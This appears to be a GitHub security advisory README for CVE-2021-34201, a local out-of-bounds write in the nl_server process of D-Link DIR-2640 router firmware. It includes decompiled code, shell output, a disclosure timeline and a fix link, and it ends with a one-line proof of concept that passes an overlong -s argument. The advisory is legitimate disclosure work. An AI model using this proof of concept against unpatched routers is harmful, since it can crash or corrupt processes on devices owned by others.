liyansong2018 D-Link 2640 Out-of-bounds Write & Fix Bugs ... on Jul 3, 2021 History

..

images last year

README.md last year

README.md

Out-of-bounds Write in DIR-2640-US Router

Overview

- **CVE ID**: CVE-2021-34201
- **Type**: Out-of-bounds Write - *(787)*
- **Vendor**: D-LINK (https://www.dlink.com/)
- **Products**: WiFi Router, such as DIR-2640-US.
- **Version**: Firmware (1.01B04)
- **Fix**:

  https://support.dlink.com/productinfo.aspx?m=DIR-2640-US

  https://support.dlink.com/resource/SECURITY_ADVISEMENTS/DIR-2640/REVA/DIR-2640_REVA_FIRMWARE_v1.11B02_BETA01_HOTFIX.zip

Severity

High 7.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Description

Multiple out-of-bounds vulnerabilities in some processes of D-Link AC2600(DIR-2640). Local ordinary users can overwrite the global variables in the .bss section, causing the process crashes or changes.

Ordinary users can run `nl_server` .

```
admin@dlinkrouter:~$ ls -l ./usr/bin/nl_server
-rwxr-xr-x    1     18616 May 23  2021 ./usr/bin/nl_server
```

```
nl_server
```

```
admin@dlinkrouter:~$ ps
nl_server -i br0 -s dlinkrouter -s dlinkrouter3485 -s dlinkrouter.local -s dlinkrouter3485.local &
```

The decompiled code is as follows, the process does not limit the length of parameters entered by the user.

```
while ( v4 != 's' );
v5 = *(_DWORD *)algn_414B88;
if ( *(int *)algn_414B88 >= 4 )
  break;
v9 = optarg;
v6 = strlen(optarg);
strncpy((char *)&byte_414948 + 128 * v5, v9, v6);
*(_DWORD *)algn_414B88 = v5 + 1;
`
```

Is this parameter controllable externally?

```
        v7 = fopen("/tmp/hosts", "w+");
        if ( v7 )
        {
          fprintf(v7, "%s  %s\n", v5, v4);
          fprintf(v7, "%s  %s%s\n", v5, v4, (const char *)v15);
          fprintf(v7, "%s  %s.local\n", v5, v4);
          fprintf(v7, "%s  %s%s.local\n", v5, v4, (const char *)v15);
          fwrite("127.0.0.1 localhost\n", 1, 20, v7);
          fflush(v7);
          fclose(v7);
        }
        TW_reversechar(v25, v4, 256);
        snprintf(v24, 512, "hostname %s", v25);
        twsystem(v24, 1);
        snprintf(
          v24,
          512,
          "nl_server -i %s -s %s -s %s%s -s %s.local -s %s%s.local &",
          v6,
          v25,
          v25,
          (const char *)v15,
          v25,
          v25,
          (const char *)v15);
        twsystem(v24, 1);
```

```
admin@dlinkrouter:~$ cat /tmp/hosts
192.168.0.1  dlinkrouter
192.168.0.1  dlinkrouter3458
192.168.0.1  dlinkrouter.local
192.168.0.1  dlinkrouter3458.local
127.0.0.1 localhost
```

How is the variable `v4` obtained?

```
  v8 = fopen("/dev/console", "w");
  if ( v8 )
  {
    fprintf(v8, "%s: enter\n", "start_dev_mgt_link");
    fclose(v8);
  }
  snprintf(v14, 8, "%s%d_", "lan", 0);
  v0 = sub_42C390(v14, "management_link", &v16);
  v4 = (const char *)WRSConfigGet(v0);
  if ( *v4 )
  {
    v16 = 0;
    v17 = 0;
    v18 = 0;
    v19 = 0;
    v20 = 0;
    v21 = 0;
    v22 = 0;
    v23 = 0;
    v2 = sub_42C390(v14, "ipaddr", &v16);
    v5 = (const char *)WRSConfigGet(v2);
    if ( *v5 )
    {
      v3 = sub_42C390(v14, "ifname", &v16);
      v6 = (const char *)WRSConfigGet(v3);
      v11 = socket(2, 3, 255);
      if ( v11 >= 0 )
      {
        strncpy(v26, v6, 32);
        if ( !ioctl(v11, 35111, v26) )
          snprintf(v15, 8, "%02X%02X", (unsigned __int8)v26[22], (unsigned __int8)v26[23]);
        close(v11);
      }
```

v0 = lan0_management_link

v4 = `WRSConfigGet()` , `WRSconfigGet` (`libwrscfg.so`) = `nvram_safe_get()` . The function is used to obtain the configuration information of the firmware. Further research we found that the configuration information is stored in the configuration file of the RT2860 wireless network card.

```
./etc_ro/Wireless/RT2860AP/RT2860_default_vlan-factory:393:lan0_management_link=dlinkrouter
./etc_ro/Wireless/RT2860AP/RT2860_default_vlan:416:lan0_management_link=dlinkrouter
```

CVE-2021-34203 brought good news

> Is this parameter controllable externally?

How to Reproduce (PoC)

```
nl_server -s aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
> 128
```

Disclosure Timeline

- 8-Feb-2021 Discoverd the vulnerability
- 9-Feb-2021 Responsibly disclosed vulnerability to vendor
- 10-Feb-2021 D-Link PSIRT would raise to R&D
- 31-Mar-2021 D-Link R&D was investigating the report
- 2-Jun-2021 Requested for CVE-ID assignment
- 10-Jun-2021 CVE-ID Assigned
- 13-Jun-2021 Notified CVE about a publication
- 22-Jun-2021 Fixed